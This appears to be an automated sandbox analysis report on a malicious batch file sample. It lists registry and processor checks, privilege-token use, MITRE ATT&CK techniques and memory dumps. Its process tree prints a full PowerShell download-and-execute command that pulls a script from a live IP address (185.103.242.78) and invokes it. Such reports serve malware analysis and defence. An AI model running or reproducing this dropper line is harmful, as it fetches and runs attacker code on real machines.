4f95f0ebcf04be51de7452dd9607aa1e7fa640e9c93c13ef213d18518aa22d37

General

Target

UAgNLfZr.bat
Sample

200101-yym9p86agj
SHA256

4f95f0ebcf04be51de7452dd9607aa1e7fa640e9c93c13ef213d18518aa22d37

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://185.103.242.78/pastes/UAgNLfZr

Signatures

Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

WerFault.exe

pid process

4976 WerFault.exe

pid	process
4976	WerFault.exe

Enumerates system info in registry 2 TTPs 2 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

description	ioc
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

description	ioc
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString

Program crash 1 IoCs

Processes:

WerFault.exe

pid process

4976 WerFault.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

WerFault.exe

description pid process

Token: SeRestorePrivilege 4976 WerFault.exe
Token: SeBackupPrivilege 4976 WerFault.exe
Token: SeDebugPrivilege 4976 WerFault.exe

pid	process
4976	WerFault.exe

description	pid	process
Token: SeRestorePrivilege	4976	WerFault.exe
Token: SeBackupPrivilege	4976	WerFault.exe
Token: SeDebugPrivilege	4976	WerFault.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\UAgNLfZr.bat"
1⤵
PID:4860

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/UAgNLfZr');Invoke-ZAIBJFUWKC;Start-Sleep -s 10000"
2⤵
PID:4904

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4904 -s 704
3⤵
- Suspicious behavior: EnumeratesProcesses
- Program crash
- Suspicious use of AdjustPrivilegeToken
PID:4976

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/4976-0-0x0000000005070000-0x0000000005071000-memory.dmp

Filesize
4KB

Download
memory/4976-1-0x00000000058B0000-0x00000000058B1000-memory.dmp

Filesize
4KB

Download
memory/4976-957-0x0000000003570000-0x0000000003590000-memory.dmp

Filesize
128KB

Download
memory/4976-960-0x00000000058B0000-0x00000000058B1000-memory.dmp

Filesize
4KB

Download
memory/4976-962-0x00000000058B0000-0x00000000058B1000-memory.dmp

Filesize
4KB

Download
memory/4976-964-0x00000000058B0000-0x00000000058B1000-memory.dmp

Filesize
4KB

Download
memory/4976-966-0x00000000058B0000-0x00000000058B1000-memory.dmp

Filesize
4KB

Download
memory/4976-968-0x00000000058B0000-0x00000000058B1000-memory.dmp

Filesize
4KB

Download
memory/4976-970-0x00000000058B0000-0x00000000058B1000-memory.dmp

Filesize
4KB

Download
memory/4976-972-0x0000000005890000-0x0000000005891000-memory.dmp

Filesize
4KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads